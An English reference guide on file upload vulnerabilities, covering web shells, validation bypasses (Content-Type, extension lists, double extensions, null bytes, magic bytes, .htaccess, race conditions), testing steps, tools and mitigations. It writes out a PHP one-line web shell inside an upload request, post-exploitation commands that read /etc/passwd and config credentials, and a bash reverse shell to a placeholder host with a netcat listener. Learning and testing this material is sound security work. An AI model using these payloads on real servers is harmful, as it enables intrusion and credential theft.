File Upload Vulnerabilities
Complete Reference Guide
1. What Are File Upload Vulnerabilities?
File upload functionality is a common attack surface. When a server insufficiently validates what gets uploaded, an attacker can plant malicious files that lead to Remote Code Execution (RCE), information leaks, or server-side attacks.
The severity depends on two factors: - Which aspects of the file are validated (type, contents, extension) - What the server does with the file after the upload
2. Impact
| Impact | Example |
|---|---|
| Remote Code Execution | Upload a web shell → run OS commands |
| Server-side attacks | Trigger SSRF via an uploaded SVG or XML |
| Client-side attacks | XSS via uploaded HTML or SVG |
| Directory traversal | Place a file outside the intended directory |
| DoS | Uploading extremely large files |
| Information leak | File contents or a server path leaks in the response |
3. How Does a Web Shell Work?
A web shell is a file containing server-side code that executes OS commands when it's invoked via HTTP.
Minimal PHP Web Shell
Invoked via:
Full PHP Web Shell
4. Attack Techniques
4a. No Validation — Direct Upload
The easiest variant: the server accepts anything without any check.
POST /upload HTTP/1.1
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php echo system($_GET['cmd']); ?>
Then: GET /uploads/shell.php?cmd=whoami
4b. Bypassing Content-Type Validation
The server checks the Content-Type header in the request — but that header is sent by the client and fully controllable.
Bypass: change the Content-Type to an allowed type while the content stays malicious:
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg ← changed in Burp Repeater
<?php echo system($_GET['cmd']); ?>
The server thinks it's a JPEG — but it's PHP.
4c. Bypassing an Extension Blacklist
The server blocks .php but has an incomplete blacklist.
Alternative PHP extensions that often work:
Test each variant — some servers execute all of these extensions as PHP.
Capitalization variant:
4d. Bypassing an Extension Whitelist — Double Extension
The server only allows .jpg but only validates the last part:
shell.php.jpg ← ends in .jpg → whitelist check ok
← the server parses it as PHP due to Apache config
Or the reverse — some servers look at the first extension:
4e. Null Byte Injection
On legacy systems (PHP < 5.3.4, C-based validation):
The null byte terminates the string at the validation check → it sees .jpg
The OS ignores everything after \0 → stores it as shell.php
4f. Content-Type Spoofing via Magic Bytes
Some servers validate the file contents via magic bytes (the first bytes of a file that determine its type).
JPEG magic bytes: FF D8 FF
Payload with valid magic bytes + PHP code:
FF D8 FF E0 ← valid JPEG header
... ← minimal JPEG structure
<?php system($_GET['cmd']); ?> ← payload at the bottom
In practice: use a legitimate JPEG and inject the payload into the metadata via ExifTool:
The server validates the JPEG structure → approved The server processes the file as PHP → RCE
Only works if the server executes uploaded files as PHP, which is normally not the case for images. Requires additional misconfiguration or path traversal to be effective.
4g. .htaccess Abuse (Apache)
If you can upload a .htaccess file to the upload directory, you can instruct Apache to execute a specific extension as PHP:
After uploading this .htaccess file, Apache treats all .jpg files in that directory as PHP.
Then you upload a normal .jpg with a PHP payload:
Attack sequence:
1. Upload .htaccess with the AddType instruction
2. Upload shell.jpg with the PHP payload
3. Request shell.jpg via the browser → RCE
4h. Directory Traversal via the Filename
If the server uses the filename from the upload without sanitization:
The file ends up outside the upload directory — possibly in a directory that does execute PHP.
4i. Race Condition Exploit
Some servers temporarily upload the file, validate it, and delete it if it's invalid. There's a short window between upload and deletion.
Approach:
- Upload the malicious file
- Immediately (in parallel) send a request to the uploaded file
- If the timing lines up → the file executes before deletion
Widening the window:
Upload a large file with the payload at the front, followed by a lot of padding:
The server takes longer to process it → a bigger chance of a successful race.
If the temporary directory got a pseudo-random name generated via uniqid() (timestamp-based), the name is brute-forceable via Burp Turbo Intruder.
4j. Upload via URL (Server-Side Fetch)
Some applications let you supply a URL instead of uploading a file. The server fetches the file itself — this is essentially an SSRF vector, but it can also be used to have malicious files fetched from an external server you control.
5. Where Does the Uploaded File Live?
After a successful upload, you need to be able to invoke the file. Find the upload location via:
- The response after uploading — the server returns the path
- The page source —
<img src="/uploads/filename.jpg"> - The Burp sitemap — scan the application after uploading
- Commonly used default paths:
6. Testing — Step by Step
Step 1 — Baseline: What Does the Server Accept?
Upload a legitimate file (a real JPEG) → check that it works and where it ends up.
Step 2 — Direct PHP Upload
Upload shell.php → check the response:
- Accepted and executable? → direct RCE
- Blocked on extension? → go to step 3
- Blocked on Content-Type? → go to step 4
Step 3 — Testing Alternative Extensions
Use Burp Intruder with an extension wordlist.
Step 4 — Content-Type Bypass
Change Content-Type: application/x-php to Content-Type: image/jpeg in Burp Repeater.
Step 5 — Magic Bytes Spoofing
Add JPEG magic bytes to the start of the PHP payload:
Or use ExifTool to inject the payload into the metadata.
Step 6 — .htaccess Upload (Apache)
Try uploading a .htaccess file with:
Step 7 — Double Extension / Null Byte
Step 8 — Directory Traversal via the Filename
7. Automatic Detection — Burp Suite
What Burp DOES Detect
- Basic file upload without validation (active scan)
- Content-Type mismatches
- Known web shell extensions that get accepted
What Burp Does NOT Detect Automatically
| Blind spot | Reason |
|---|---|
.htaccess upload attack |
Requires multiple steps |
| Race conditions | Timing-based, hard to automate |
| Magic bytes spoofing | Requires binary payload construction |
| Directory traversal via filename | Context-dependent |
| Null byte injection | Less relevant on modern systems |
8. Tools
| Tool | Use |
|---|---|
| Burp Suite Pro | Repeater for bypass tests, Intruder for extension fuzzing |
| Burp Turbo Intruder | Race condition exploitation |
| ExifTool | Injecting a payload into image metadata |
| ExifTool (Windows) | exiftool.exe from exiftool.org or via WSL2 apt install exiftool |
| ffuf | Brute-forcing the upload path |
| SecLists | /Discovery/Web-Content/ for upload paths |
9. After Confirmation — Next Steps
Web shell active
│
├─ whoami / id → which user is the server running as?
├─ cat /etc/passwd → user list
├─ env → environment variables / credentials
├─ ls -la /var/www/ → explore the application structure
├─ cat config.php → database credentials
├─ netstat -an → internal services / open ports
└─ Pivot to a reverse shell for interactive access
Reverse Shell via a Web Shell
# Invoke via the web shell:
?cmd=bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
# Listener on your machine:
nc -lvnp 4444
10. Mitigations
- Validate server-side — never trust the Content-Type header from the client
- Whitelist of allowed extensions — not a blacklist
- Rename uploaded files — use a UUID, never the original filename
- Store files outside the webroot — files in
/var/uploads/aren't directly reachable via HTTP - Serve files via a separate domain —
uploads.example.comwith no PHP execution - Disable execution in the upload directory — Apache/Nginx configuration:
# Apache — prevents scripts from executing in the upload directory
<Directory /var/www/html/uploads>
php_flag engine off
Options -ExecCGI
AddHandler cgi-script .php .php3 .php4 .phtml .phar
</Directory>
- Validate the file contents — check both magic bytes and file structure
- Limit file size — prevents DoS and shrinks the race condition window
- Use a CDN or object storage (S3, Cloudflare R2) — no server-side execution possible